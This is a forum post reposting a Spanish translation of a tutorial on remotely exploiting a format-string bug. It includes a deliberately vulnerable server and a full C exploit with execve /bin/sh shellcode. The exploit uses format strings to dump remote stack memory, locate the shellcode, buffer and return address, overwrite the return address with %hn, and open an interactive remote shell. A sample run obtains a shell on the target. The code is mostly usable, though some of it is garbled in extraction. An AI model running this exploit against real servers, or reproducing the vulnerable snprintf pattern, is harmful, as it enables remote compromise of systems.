hola, esta es la primera vez que dejo un manual en esta seccion.
este lo encontre andando por internet y pense que por ahi les iva a venir bien a ustedes que entienden mas que yo de esto....como sea, que los disfruten y diganme que tal esta si.
C?mo explotar remota y autom?ticamente un error de formato
Fr?d?ric Raynal
<
pappy@miscmag.com>
Traducido por: Cable
<
Cable@x0und.net>
Table of Contents
1. Introduccion
2. Contexto : el servidor vulnerable
3. Par?metros solicitados
4. Adivinando el desplazamiento
5. Adivinando la direcci?n del comando de shell en la pila
6. Convertir un error de formato en un depurador
7. ?Qu? hemos de buscar ?
8. Adivinando la direcci?n exacta del comando del shell
9. Adivinando la direcci?n de retorno
10. Adivinando la direcci?n del buffer
11. Adivinando la direcci?n de retorno
12. Explotaci?n
13. Conclusi?n
14. Saludos
15. Ap?ndice 1 : el fmtd del lado del servidor
16. Ap?ndice 2 : el fmtd del lado del explotador
17. Bibliograf?a
Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license can be found in GNU Free Documentation License.
1. Introduccion
Explotar un error de formato remotamente puede ser muy divertido. Permite comprender los riesgos asociados a esta clase de fallos. No explicaremos aqu? las bases de esta vulnerabilidad (p.ej. su origen o la construcci?n de la cadena de formato) puesto que ya existen muchos art?culos al respecto (ver la bibliograf?a al final).
2. Contexto : el servidor vulnerable
Usaremos un servidor muy minimalista (pero pedag?gico) en este art?culo. Solicita un login y un password, luego te los env?a de vuelta. El c?digo fuente se encuentra en el ap?ndice 1.
Para instalar el servidor fmtd, tendr?s que configurar inetd para que se acepten conexiones al puerto 12345:
# /etc/inetd.conf
12345 stream tcp nowait raynal /home/raynal/MISC/2-MISC/RemoteFMT/fmtd
O con xinetd:
# /etc/xinetd.conf
service fmtd
{
type = UNLISTED
user = raynal
group = users
socket_type = stream
protocol = tcp
wait = no
server = /tmp/fmtd
port = 12345
only_from = 192.168.1.1 192.168.1.2 127.0.0.1
}
Luego reinicializa el servidor. No olvides cambiar las reglas de tu cortafuegos si tienes alguno.
A continuaci?n, veamos si el servicio est? funcionando:
$ telnet bosley 12345
Trying 192.168.1.2...
Connected to bosley.
Escape character is '^]'.
login: raynal
password: secret
hello world
hello world
^]
telnet> quit
Connection closed.
Echemos un vistazo al fichero de bit?cora:
Jan 4 10:49:09 bosley fmtd[877]: login -> read login [raynal^M ] (8) bytes
Jan 4 10:49:14 bosley fmtd[877]: passwd -> read passwd [bffff9d0] (8) bytes
Jan 4 10:49:56 bosley fmtd[877]: vul() -> error while reading input buf [] (0)
Jan 4 10:49:56 bosley inetd[407]: pid 877: exit status 255
Durante el ejemplo previo, s?lo introducimos un login, un password y una frase antes de cerrar la conexi?n. Pero, ?que pasar? cuando le demos instrucciones de formato al servidor?:
telnet bosley 12345
Trying 192.168.1.2...
Connected to bosley.
Escape character is '^]'.
login: raynal
password: secret
%x %x %x %x
d 25207825 78252078 d782520
Al ejecutarse las instrucciones "%x %x %x %x", muestra que nuestro servidor es vulnerable a un error de formato.
<nos salimos del tema un momento>
De hecho, todos los programas que act?an as? s?n vulnerables a un error de formato:
int main( int argc, char ** argv )
{
char buf[8];
sprintf( buf, argv[1] );
}
Usar %hn para explotar esto provocar?a un desbordamiento: la cadena formateada se hace cada vez m?s grande, pero como no se ejerce control sobre su longitud, ocurre un desbordamiento
.
</nos salimos del tema un momento>
Mirando las fuentes comprobamos que el problema se halla en la funci?n vul():
...
snprintf(tmp, sizeof(tmp)-1, buf);
...
como el buffer <buf> est? disponible para un usuario malicioso, ?ste puede tomar control del servidor ... y as? obtener un shell con los privilegios del servidor.
3. Par?metros solicitados
Se requieren los mismos parametros de un error de formato local:
* el desplazamiento para llegar al inicio del buffer;
* La direcci?n de un c?digo de shell colocado en algun lugar en la memoria del servidor;
* la direcci?n del buffer vulnerable;
* una direcci?n de retorno.
Este exploit se proporciona como ejemplo en el anexo 2. Las partes siguientes de este art?culo explican c?mo fu? dise?ado.
He aqu? algunas variables usadas en el exploit:
* sd: el socket entre el cliente (el exploit) y el servidor vulnerable;
* buf: un buffer para leer/escribir algunos datos;
* read_at: una direcci?n en la pila del servidor;
* fmt: cadena de formato enviada al servidor.
4. Adivinando el desplazamiento
Este par?metro siempre es necesario para explotar esta clase de fallo, y se determina en la misma forma que un exploit local:
telnet bosley 12345
Trying 192.168.1.2...
Connected to bosley.
Escape character is '^]'.
login: raynal
password: secret
AAAA%1$x
AAAAa
AAAA%2$x
AAAA41414141
Aqu? el desplazamiento es 2. Es muy f?cil adivinarlo autom?ticamente, y eso es lo que la funci?n get_offset() intenta hacer. Env?a la cadena "AAAA%<val>$x" al servidor. Si el desplazamiento es <val>, entonces el servidor responde con la cadena "AAAA41414141":
#define MAXOFFSET 255
for (i = 1; i<MAX_OFFSET && offset == -1; i++) {
snprintf(fmt, sizeof(fmt), "AAAA%%%d$x", i);
write(sock, fmt, strlen(fmt));
memset(buf, 0, sizeof(buf));
sleep(1);
read(sock, buf, sizeof(buf))
if (!strcmp(buf, "AAAA41414141"))
offset = i;
}
5. Adivinando la direcci?n del comando de shell en la pila
Si quieres colocar un comando de shell en la memoria del servidor, entonces tienes que averiguar la direcci?n. Se puede colocar en el buffer vulnerable, o en cualquier otra parte: gracias al error de formato, no importa

Por ejemplo, algunos servidores de ftp permit?an almacenarlo en el password (PASS), sin que lo comprobasen demasiado para las cuentas 'anonymous' o 'ftp'. Aqu?, nuestro servidor funciona del mismo modo.
6. Convertir un error de formato en un depurador
Nuestro objetivo es hallar la direcci?n del comando de shell colocado en la memoria del servidor. Por ello, ?transformaremo
s el servidor remoto en depurador remoto!
Usando la cadena de formato "%s", se puede leer hasta que el buffer est? lleno o se encuentre un caracter NULL. As? que, enviando varios "%s" sucesivos al servidor, el exploit puede volcar localmente la memoria del proceso remoto:
<addr>%<offset>$s
En el exploit, se lleva a cabo en 2 pasos:
1. La funci?n get_addr_as_ch
ar(u_int addr, char *buf) convierte la direcci?n (addr) a char: *(u_int*)buf = addr;
2. entonces, los siguientes 4 bytes contienen la instrucci?n de formato.
La cadena de formato es enviada al servidor remoto:
get_addr_as_ch
ar(read_at, fmt);
snprintf(fmt+4, sizeof(fmt)-4, "%%%d$s", offset);
write(sd, fmt, strlen(fmt));
El cliente lee una cadena en <addr>. Si no contiene ning?n comando de shell, la siguiente lectura se lleva a cabo en esta misma direcci?n, a la cual se a?ade la cantidad de bytes le?dos (p. ej, el valor retornado por read()).
Sin embargo, todos los <len> caracteres le?dos no deber?an ser considerados. La instrucci?n vulnerable en el servidor es algo as? como:
sprintf(out, in);
Para construir el buffer de salida, sprintf() comienza procesando la cadena <in>. Los primeros cuatro bytes son la direcci?n desde la cual pretendemos leer: simplemente s?n copiadas en el buffer de salida. Entonces, se ha hallado e interpretado una instrucci?n de formato. Por ello, tenemos que eliminar esos 4 bytes:
while( (len = read(sd, buf, sizeof(buf))) > 0) {
[ ... ]
read_at += (len-4+1);
[ ... ]
}
7. ?Qu? hemos de buscar ?
Otro problema es c?mo identificar el comando de shell en memoria. Si s?lo miras todos los bytes en la memoria remota, te arriesgas a perderlo. Como el buffer termina con un byte NULL, la cadena colocada justo enfrente puede contener montones de NOPs. Por ello, la lectura del comando del shell podr?a quedar dividida en 2 lecturas.
Para evitar ?sto, si la cantidad de caracteres le?dos equivale al tama?o del buffer, el exploit "olvida" los ?ltimos sizeof(shellcode) bytes que ha le?do del servidor. As?, la pr?xima lectura se lleva a cabo en:
while( (len = read(sd, buf, sizeof(buf))) > 0) {
[ ... ]
read_at += len;
if (len == sizeof(buf))
read_at-=strlen(shellcode);
[ ... ]
}
?ste caso jam?s ha sido probado... as? que no garantizo que funcione ;-/
8. Adivinando la direcci?n exacta del comando del shell
La b?squeda de patrones en una cadena se lleva a cabo con la funci?

ptr = strstr(buf, pattern);
Retorna un puntero a la cadena interpretada, apuntando al primer byte del patr?n que buscamos. As?, la posici?n del comando de consola es:
addr_shellcode = read_at + (ptr-buf);
?Excepto que el buffer contiene bytes que debemos ignorar! Como ya hemos visto mientras explor?bamos la pila, los primeros cuatro bytes del buffer de salida son, de hecho, la direcci?n de la que acabamos de leer:
addr_shellcode = read_at + (ptr-buf) - 4;
-- --[ comando de shell : un res?men ]-- --
A veces, un poco de c?digo vale m?s que una explicaci?n larga:
while( (len = read(sd, buf, sizeof(buf))) > 0) {
if ((ptr = strstr(buf, shellcode))) {
addr_shellcode = read_at + (ptr-buf) - 4;
break;
}
read_at += (len-4+1);
if (len == sizeof(buf)) {
read_at-=strlen(shellcode);
}
memset (buf, 0x0, sizeof (buf));
get_addr_as_ch
ar(read_at, fmt);
write(sd, fmt, strlen(fmt));
}
9. Adivinando la direcci?n de retorno
El ?ltimo par?metro (pero no el menos importante) que hemos de determinar es la direcci?n de retorno. Hemos de hallar una direcci?n de retorno v?lida en la pila del proceso remoto, para sobreescribirl
e nuestro comando de consola.
No nos detendremos aqu? a explicar c?mo son llamadas las funciones en C, pero te recordaremos c?mo se colocan las variables y par?metros en la pila. Primero, los argumentos se colocan desde el ?ltimo (superior) hasta el primero (el que est? m?s abajo). Entonces, el registro de instrucci?n (%eip) es salvado en la pila, seguido del registro de puntero base (%ebp), el cual indica el inicio de la memoria para la funci?n actual. Detr?s de esta direcci?n, se utiliza la memoria para las variables locales. Cuando la funci?n acaba, el %eip es sacado de la pila y se limpia ?sta. Esto significa que los registros %esp y %ebp s?n extra?dos, haci?ndoles concordar con los valores de la funci?n previa. La pila no es limpiada de ninguna manera.
As?, nuestra meta es hallar un lugar donde se encuentre salvado el registro %eip. Se hace en dos pasos:
1. hallar la direcci?n del buffer de entrada.
2. hallar la direcci?n de retorno de la funci?n a la que pertenece el buffer vulnerable.
?Por qu? hemos de buscar la direcci?n del buffer? Todos los pares (ebp salvado, eip salvado) que pod?amos hallar en la pila no sirven para nuestro prop?sito. La pila jam?s es limpiada realmente entre llamadas. As? que contiene valores usados por las llamadas previas, a?n si no ser?n usados realmente por el proceso.
Por ello, al adivinar primero la direcci?n del buffer vulnerable, tenemos un punto sobre el cual todos los pares (ebp, eip) s?n v?lidos, ya que el buffer vulnerable mismo se halla en la cima de la pila

10. Adivinando la direcci?n del buffer
El buffer de entrada es identificado f?cilmente en la memoria remota: es un reflejo de los caracteres que le introducimos. El servidor los copia sin modificaci?n (Cuidado: si algunos caracteres fuesen colocados por el servidor frente a la respuesta, estos deber?an ser considerados).
De manera que simplemente buscamos la copia exacta de nuestra cadena de formato en la memoria del servidor:
while((len = read(sd, buf, sizeof(buf))) > 0) {
if ((ptr = strstr(buf, fmt))) {
addr_buffer = read_at + (ptr-buf) - 4;
break;
}
read_at += (len-4+1);
memset (buf, 0x0, sizeof (buf));
get_addr_as_ch
ar(read_at, fmt);
write(sd, fmt, strlen(fmt));
}
11. Adivinando la direcci?n de retorno
En la mayoria de las distribuciones de linux, el tope de la pila se halla en 0xc0000000. Esto no es cierto con todas las distribuciones: Caldera lo pone en 0x80000000 (?Alguien podr?a explicarme por qu??). El espacio reservado en ella depende de las necesidades del programa (usualmente para variables locales). ?stas se suelen colocar en el rango 0xbfffXXXX, donde <XX> es un byte indefinido. Por el contrario, la instrucci?n del proceso (secci?n .text) es cargada desde 0x08048000.
Entonces, tenemos que leer la pila remota para hallar algo que se ve as?:
Tope de la pila
0x0804XXXX
0xbfffXXXX
Debido a que es little endian, esto equivale a buscar la cadena 0xff 0xbf XX XX 0x04 0x08. Como ya hemos visto, no tenemos que considerar los primeros 4 bytes de la cadena retornada:
i = 4;
while (i<len-5 && addr_ret == -1) {
if (buf
== (char)0xff && buf[i+1] == (char)0xbf &&
buf[i+4] == (char)0x04 && buf[i+5] == (char)0x08) {
addr_ret = read_at + i - 2 + 4 - 4;
fprintf (stderr, "[ret addr is: 0x%x (%d) ]\n", addr_ret, len);
}
i++;
}
if (addr_ret != -1) break;
La variable <addr_ret> es inicializada con una f?rmula muy compleja:
* addr_ret: la direcci?n que acabamos de leer;
* +i: el desplazamiento en la cadena que estamos explorando en busca del patr?n (no podemos usar strstr() porque nuestro patr?n contiene wildcards - bytes XX no definidos);
* -2: los primeros bytes que hallamos en la pila son ff bf, pero el n?mero completo (por ejemplo, el %ebp salvado) est? compuesto por 4 bytes. el -2 es para los dos "bytes menores" colocados al comienzo de la palabra XX XX ff bf;
* +4: esta modificaci?n se debe a la direcci?n de retorno, que se encuentra a 4 bytes por sobre el %ebp salvado;
* -4: como ya deber?as saber, los primeros 4 bytes, que s?n una copia de la direcci?n de lectura.
12. Explotaci?n
Ahora que ya tenemos todos los par?metros necesarios, la explotaci?n en s? misma no es muy dif?cil. S?lo tenemos que reemplazar la direcci?n de retorno de la funci?n vulnerable (addr_ret) por la del comando de consola (addr_shellcode). La funci?n fmtbuilder la hemos tomado de [5] y se encarga de construir la cadena de formato enviada al servidor:
build_hn(buf, addr_ret, addr_shellcode, offset, 0);
write(sd, buf, strlen(buf));
Una vez que se haya llevado a cabo el reemplazo en la pila remota, solo tenemos que retornar de la funci?n vul(). Entonces, enviamos el comando "quit" que hemos creado espec?ficamente para ello ;-)
strcpy(buf, "quit");
write(sd, buf, strlen(buf));
Finalmente, la funci?n interact() juega con los descriptores de fichero para permitirnos hacer uso del shell que hemos capturado.
En el pr?ximo ejemplo, el exploit es ejecutado por bosley, conect?ndose a charly:
$ ./expl-fmtd -i 192.168.1.1 -a 0xbfffed01
Using IP 192.168.1.1
Connected to 192.168.1.1
login sent [toto] (4)
passwd (shellcode) sent (10)
[Found offset = 6]
[buffer addr is: 0xbfffede0 (12) ]
buf = (12)
e0 ed ff bf e0 ed ff bf 25 36 24 73
[shell addr is: 0xbffff5f0 (60) ]
buf = (60)
e5 f5 ff bf 8b 04 08 28 fa ff bf 22 89 04 08 eb 1f 5e 89 76 08
31 c0 88 46 07 89 46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80
31 db 89 d8 40 cd 80 e8 dc ff ff ff 2f 62 69 6e 2f 73 68
[ret addr is: 0xbffff5ec (60) ]
Building format string ...
Sending the quit ...
bye bye ...
Linux charly 2.4.17 #1 Mon Dec 31 09:40:49 CET 2001 i686 unknown
uid=500(raynal) gid=100(users)
exit
$
13. Conclusi?n
Cada ver se descubren menos errores de formato... afortunadament e. Como acabamos de ver, la automatizaci?n no es muy dif?cil. La librer?a fmtbuilmder (ver bibliograf?a) tambi?n provee las herramientas necesarias para ello.
En nuestro caso, el exploit comienza leyendo un valor arbitrario de la memoria remota. Pero si es demasiado bajo, el servidor se cae. El exploit puede ser modificado para explorar la pila desde arriba hacia abajo... pero entonces las estrategias que se usan para identificar algunos valores han de ser adaptadas un poco. La dificultad parece un poco mayor.
La lectura comienza desde el tope de la pila 0xc0000000-4. Entonces tienes que cambiar el valor de la variable addr_stack. Adem?s, la l?nea read_at+=(len-4+1); debe ser reemplazada por read_at-=4; al hacerlo de esta otra forma, el argumento -a es in?til.
La desventaja de esta soluci?n es que la direcci?n de retorno se halla por debajo del buffer de entrada. Pero todo lo que hay bajo este buffer proviene de la funci?n que ya no se encuentra en la pila: estos datos est?n escritos en un ?rea libre de la pila, as? que pueden ser modificados en cualquier momento por el proceso. Por ello, la b?squeda de la direcci?n de retorno debe cambiar (se puede hallar varias sobre el buffer vulnerable... pero no podemos controlar si se utilizar?n o no).
14. Saludos
Denis Ducamp y Renaud Deraison por sus comentarios/arreglos.
15. Ap?ndice 1 : el fmtd del lado del servidor
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <unistd.h>
#include <stdarg.h>
#include <syslog.h>
void respond(char *fmt,...);
int vul(void)
{
char tmp[1024];
char buf[1024];
int len = 0;
syslog(LOG_ERR, "vul() -> tmp = 0x%x buf = 0x%x\n", tmp, buf);
while(1) {
memset(buf, 0, sizeof(buf));
memset(tmp, 0, sizeof(tmp));
if ( (len = read(0, buf, sizeof(buf))) <= 0 ) {
syslog(LOG_ERR, "vul() -> error while reading input buf [%s] (%d)",
buf, len);
exit(-1);
} /*
else
syslog(LOG_INFO, "vul() -> read %d bytes", len);
*/
if (!strncmp(buf, "quit", 4)) {
respond("bye bye ...\n");
return 0;
}
snprintf(tmp, sizeof(tmp)-1, buf);
respond("%s", tmp);
}
}
void respond(char *fmt,...)
{
va_list va;
char buf[1024];
int len = 0;
va_start(va,fmt);
vsnprintf(buf,sizeof(buf),fmt,va);
va_end(va);
len = write(STDOUT_FILENO,buf,strlen(buf));
/* syslog(LOG_INFO, "respond() -> write %d bytes", len); */
}
int main()
{
struct sockaddr_in sin;
int i,len = sizeof(struct sockaddr_in);
char login[16];
char passwd[1024];
openlog("fmtd", LOG_NDELAY | LOG_PID, LOG_LOCAL0);
/* get login */
memset(login, 0, sizeof(login));
respond("login: ");
if ( (len = read(0, login, sizeof(login))) <= 0 ) {
syslog(LOG_ERR, "login -> error while reading login [%s] (%d)",
login, len);
exit(-1);
} else
syslog(LOG_INFO, "login -> read login [%s] (%d) bytes", login, len);
/* get passwd */
memset(passwd, 0, sizeof(passwd));
respond("password: ");
if ( (len = read(0, passwd, sizeof(passwd))) <= 0 ) {
syslog(LOG_ERR, "passwd -> error while reading passwd [%s] (%d)",
passwd, len);
exit(-1);
} else
syslog(LOG_INFO, "passwd -> read passwd [%x] (%d) bytes", passwd, len);
/* let's run ... */
vul();
return 0;
}
16. Ap?ndice 2 : el fmtd del lado del explotador
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <getopt.h>
char verbose = 0, debug = 0;
#define OCT( b0, b1, b2, b3, addr, str ) { \
b0 = (addr >> 24) & 0xff; \
b1 = (addr >> 16) & 0xff; \
b2 = (addr >> 8) & 0xff; \
b3 = (addr ) & 0xff; \
if ( b0 * b1 * b2 * b3 == 0 ) { \
printf( "\n%s contains a NUL byte. Leaving...\n", str ); \
exit( EXIT_FAILURE ); \
} \
}
#define MAX_FMT_LENGTH 128
#define ADD 0x100
#define FOUR sizeof( size_t ) * 4
#define TWO sizeof( size_t ) * 2
#define BANNER "uname -a ; id"
#define MAX_OFFSET 255
int interact(int sock)
{
fd_set fds;
ssize_t ssize;
char buffer[1024];
write(sock, BANNER"\n", sizeof(BANNER));
while (1) {
FD_ZERO();
FD_SET(STDIN_FILENO, );
FD_SET(sock, );
select(sock + 1, , NULL, NULL, NULL);
if (FD_ISSET(STDIN_FILENO, )) {
ssize = read(STDIN_FILENO, buffer, sizeof(buffer));
if (ssize < 0) {
return(-1);
}
if (ssize == 0) {
return(0);
}
write(sock, buffer, ssize);
}
if (FD_ISSET(sock, )) {
ssize = read(sock, buffer, sizeof(buffer));
if (ssize < 0) {
return(-1);
}
if (ssize == 0) {
return(0);
}
write(STDOUT_FILENO, buffer, ssize);
}
}
return(-1);
}
u_long resolve(char *host)
{
struct hostent *he;
u_long ret;
if(!(he = gethostbyname(host)))
{
herror("gethostbyname()");
exit(-1);
}
memcpy(, he->h_addr, sizeof(he->h_addr));
return ret;
}
int
build_hn(char * buf, unsigned int locaddr, unsigned int retaddr, unsigned int offset, unsigned int base)
{
unsigned char b0, b1, b2, b3;
unsigned int high, low;
int start = ((base / (ADD * ADD)) + 1) * ADD * ADD;
int sz;
/* <locaddr> : where to overwrite */
OCT(b0, b1, b2, b3, locaddr, "[ locaddr ]");
sz = snprintf(buf, TWO + 1, /* 8 char to have the 2 addresses */
"%c%c%c%c" /* + 1 for the ending \0 */
"%c%c%c%c",
b3, b2, b1, b0,
b3 + 2, b2, b1, b0);
/* where is our shellcode ? */
OCT(b0, b1, b2, b3, retaddr, "[ retaddr ]");
high = (retaddr & 0xffff0000) >> 16;
low = retaddr & 0x0000ffff;
return snprintf(buf + sz, MAX_FMT_LENGTH,
"%%.%hdx%%%d$n%%.%hdx%%%d$hn",
low - TWO + start - base,
offset,
high - low + start,
offset + 1);
}
void get_addr_as_ch ar(u_int addr, char *buf) {
*(u_int*)buf = addr;
if (!buf[0]) buf[0]++;
if (!buf[1]) buf[1]++;
if (!buf[2]) buf[2]++;
if (!buf[3]) buf[3]++;
}
int get_offset(int sock) {
int i, offset = -1, len;
char fmt[128], buf[128];
for (i = 1; i<MAX_OFFSET && offset == -1; i++) {
snprintf(fmt, sizeof(fmt), "AAAA%%%d$x", i);
write(sock, fmt, strlen(fmt));
memset(buf, 0, sizeof(buf));
sleep(1);
if ((len = read(sock, buf, sizeof(buf))) < 0) {
fprintf(stderr, "Error while looking for the offset (%d)\n", len);
close(sock);
exit(EXIT_FAILURE);
}
if (debug)
fprintf(stderr, "testing offset = %d fmt = [%s] buf = [%s] len = %d\n",
i, fmt, buf, len);
if (!strcmp(buf, "AAAA41414141"))
offset = i;
}
return offset;
}
char *shellcode =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main(int argc, char **argv)
{
char *ip = "127.0.0.1", *ptr;
struct sockaddr_in sck;
u_int read_at, addr_stack = (u_int)0xbfffe0001; /* default bottom */
u_int addr_shellcode = -1, addr_buffer = -1, addr_ret = -1;
char buf[1024], fmt[128], c;
int port = 12345, offset = -1;
int sd, len, i;
while ((c = getopt(argc, argv, "dvi:p:a:o:")) != -1) {
switch (c) {
case 'i':
ip = optarg;
break;
case 'p':
port = atoi(optarg);
break;
case 'a':
addr_stack = strtoul(optarg, NULL, 16);
break;
case 'o':
offset = atoi(optarg);
break;
case 'v':
verbose = 1;
break;
case 'd':
debug = 1;
break;
default:
fprintf(stderr, "Unknwon option %c (%d)\n", c, c);
exit (EXIT_FAILURE);
}
}
/* init the sockaddr_in */
fprintf(stderr, "Using IP %s\n", ip);
sck.sin_family = PF_INET;
sck.sin_addr.s _addr = resolve(ip);
sck.sin_port = htons (port);
/* open the socket */
if (!(sd = socket (PF_INET, SOCK_STREAM, 0))) {
perror ("socket()");
exit (EXIT_FAILURE);
}
/* connect to the remote server */
if (connect (sd, (struct sockaddr *) , sizeof (sck)) < 0) {
perror ("Connect() ");
exit (EXIT_FAILURE);
}
fprintf (stderr, "Connected to %s\n", ip);
if (debug) sleep(10);
/* send login */
memset (buf, 0x0, sizeof(buf));
len = read(sd, buf, sizeof(buf));
if (strncmp(buf, "login", 5)) {
fprintf(stderr, "Error: no login asked [%s] (%d)\n", buf, len);
close(sd);
exit(EXIT_FAILURE);
}
strcpy(buf, "toto");
len = write (sd, buf, strlen(buf));
if (verbose) fprintf(stderr, "login sent [%s] (%d)\n", buf, len);
sleep(1);
/* passwd: shellcode in the buffer and in the remote stack */
len = read(sd, buf, sizeof(buf));
if (strncmp(buf, "password", 8)) {
fprintf(stderr, "Error: no password asked [%s] (%d)\n", buf, len);
close(sd);
exit(EXIT_FAILURE);
}
write (sd, shellcode, strlen(shellcode));
if (verbose) fprintf (stderr, "passwd (shellcode) sent (%d)\n", len);
sleep(1);
/* find offset */
if (offset == -1) {
if ((offset = get_offset(sd)) == -1) {
fprintf(stderr, "Error: can't find offset\n");
fprintf(stderr, "Please, use the -o arg to specify it.\n");
close(sd);
exit(EXIT_FAILURE);
}
if (verbose) fprintf(stderr, "[Found offset = %d]\n", offset);
}
/* look for the address of the shellcode in the remote stack */
memset (fmt, 0x0, sizeof(fmt));
read_at = addr_stack;
get_addr_as_ch ar(read_at, fmt);
snprintf(fmt+4, sizeof(fmt)-4, "%%%d$s", offset);
write(sd, fmt, strlen(fmt));
sleep(1);
while((len = read(sd, buf, sizeof(buf))) > 0 &&
(addr_shellcode == -1 || addr_buffer == -1 || addr_ret == -1) ) {
if (debug) fprintf(stderr, "Read at 0x%x (%d)\n", read_at, len);
/* the shellcode */
if ((ptr = strstr(buf, shellcode))) {
addr_shellcode = read_at + (ptr-buf) - 4;
fprintf (stderr, "[shell addr is: 0x%x (%d) ]\n", addr_shellcode, len);
fprintf(stderr, "buf = (%d)\n", len);
for (i=0; i<len; i++) {
fprintf(stderr,"%.2x ", (int)(buf & 0xff));
if (i && i%20 == 0) fprintf(stderr, "\n");
}
fprintf(stderr, "\n");
}
/* the input buffer */
if (addr_buffer == -1 && (ptr = strstr(buf, fmt))) {
addr_buffer = read_at + (ptr-buf) - 4;
fprintf (stderr, "[buffer addr is: 0x%x (%d) ]\n", addr_buffer, len);
fprintf(stderr, "buf = (%d)\n", len);
for (i=0; i<len; i++) {
fprintf(stderr,"%.2x ", (int)(buf & 0xff));
if (i && i%20 == 0) fprintf(stderr, "\n");
}
fprintf(stderr, "\n\n");
}
/* return address */
if (addr_buffer != -1) {
i = 4;
while (i<len-5 && addr_ret == -1) {
if (buf == (char)0xff && buf[i+1] == (char)0xbf &&
buf[i+4] == (char)0x04 && buf[i+5] == (char)0x08) {
addr_ret = read_at + i - 2 + 4 - 4;
fprintf (stderr, "[ret addr is: 0x%x (%d) ]\n", addr_ret, len);
}
i++;
}
}
read_at += (len-4+1);
if (len == sizeof(buf)) {
fprintf(stderr, "Warning: this has not been tested !!!\n");
fprintf(stderr, "len = %d\nread_at = 0x%x", len, read_at);
read_at-=strlen(shellcode);
}
get_addr_as_ch ar(read_at, fmt);
write(sd, fmt, strlen(fmt));
}
/* send the format string */
fprintf (stderr, "Building format string ...\n");
memset(buf, 0, sizeof(buf));
build_hn(buf, addr_ret, addr_shellcode, offset, 0);
write(sd, buf, strlen(buf));
sleep(1);
read(sd, buf, sizeof(buf));
/* call the return while quiting */
fprintf (stderr, "Sending the quit ...\n");
strcpy(buf, "quit");
write(sd, buf, strlen(buf));
sleep(1);
interact(sd);
close(sd);
return 0;
}
17. Bibliograf?a
1. M?s informaci?n sobre los errores de formato por P. "kalou" Bouchareine (
Para ver este enlace Registrate o Inicia Sesion)
2. Errores de Formato: Qu? s?n, de donde provienen... C?mo explotarlos, por lamagra (lamagra@digibel.org digibel.org>)
3. Evitar los fallos de seguridad al desarrollar una aplicaci?n - 4: las cadenas de formato, por F. Raynal, C. Grenier, C. Blaess (
Para ver este enlace Registrate o Inicia Sesion o
Para ver este enlace Registrate o Inicia Sesion)
4. Explotando las vulnerabilidad es de cadena de formato, por scut (team TESO) (
Para ver este enlace Registrate o Inicia Sesion)
5. fmtbuilder-howto por F. Raynal y S. Dralet (
Para ver este enlace Registrate o Inicia Sesion)